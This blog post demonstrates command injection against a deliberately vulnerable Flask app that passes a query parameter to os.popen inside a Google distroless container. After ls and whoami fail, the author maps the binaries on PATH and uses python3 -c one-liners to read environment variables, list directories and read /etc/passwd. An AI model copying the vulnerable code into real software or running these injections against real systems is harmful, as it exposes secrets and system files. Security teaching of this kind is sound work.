Attacking with Command Injection on Containers created using Google's Distroless Images

 As mentioned in Github, "Distroless" images contain only your application and its runtime dependencies. They do not contain package managers, shells or any other programs you would expect to find in a standard Linux distribution." (https://github.com/GoogleContainerTools/distroless)

There are multiple reasons why distroless images are getting popular

  • minimal size 
  • does not include excessive binaries ( there is only sh and bash in /bin folder )
  • more secured ( due to presence of less binaries )

However there has been a wrong perceptions ( as per few blog posts ) that we cannot do command injection attacks in the containers made of distroless images. While this is partly true that we cannot try the usual attacks of command injection but it will be wrong to say that it is impossible. This blog post is about attacking them. 


Here is my base code and the Dockerfile


app.py

from flask import Flask,request
import os
import subprocess

app = Flask(__name__)


@app.route("/")
def hello():
    try:
        cmd = request.args.get("cmd")
        res = os.popen(cmd).read()
        return "Out->"+str(res)
    except:
        return "error"

if __name__ == '__main__':
    app.run(host='0.0.0.0',port=5000)



FROM python:3-slim AS build
COPY ./app /app
WORKDIR /app
RUN pip install --upgrade pip
RUN pip install Flask


FROM gcr.io/distroless/python3
COPY --from=build /app /app
COPY --from=build /usr/local/lib/python3.9/site-packages /usr/local/lib/python3.9/site-packages
WORKDIR /app
ENV PYTHONPATH=/usr/local/lib/python3.9/site-packages
EXPOSE 5000
USER nonroot
ENTRYPOINT python3 app.py


First let us try to perform a simple command injection and see the results. 


No output


As expected it would not show anything, however it is a good idea to look at the logs.


/bin/sh: 1: ls: not found

/bin/sh: 1: whoami: not found


Before I explain how it is possible to execute the commands, it would be a good idea to explore the environment and the file system to get a deeper understanding why most attacks are not possible. 


The PATH variable inside a running container

'PATH': '/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin'


Now let us explore each of these locations as referred in PATH variable and see what we can find in them.


/usr/local/sbin

[None]


/usr/local/bin

[None]


/usr/sbin

['tzconfig', 'iconvconfig', 'zic'] 


/usr/bin

['locale', 'localedef', 'zdump', 'python3.5m', 'python', 'catchsegv', 'getconf', 'ldd', 'tzselect', 'iconv', 'getent', 'python3.5', 'pldd', 'python3', 'openssl', 'c_rehash']

Finally something interesting above, python binaries


/sbin

['ldconfig'] 


/bin

['dash', 'sh'] 


As you have seen we don't have enough binaries in them to perform normal command injection attacks. However we still can execute system commands ( but programmatically using the target language APIs ).There is way by which we can execute inline python commands from command line


python -c '<some python code>'

Using the above trick we can try the same things like for example printing the environment values 


python3 -c 'import os;print(os.environ)'


To list directories

python3 -c+'import os;print(os.listdir("/"))'

['root', 'home', 'var', 'etc', 'boot', 'proc', 'dev', 'lib', 'sys', 'bin', 'run', 'tmp', 'usr', 'sbin', '.dockerenv', 'app', 'lib64']


To read files

python3 -c 'import os;print(open("/etc/passwd").readlines())'

['root:x:0:0:root:/root:/sbin/nologin\n', 'nobody:x:65534:65534:nobody:/nonexistent:/sbin/nologin\n', 'nonroot:x:65532:65532:nonroot:/home/nonroot:/sbin/nologin\n'] 


Well that's it for this post :)

References:

https://github.com/GoogleContainerTools/distroless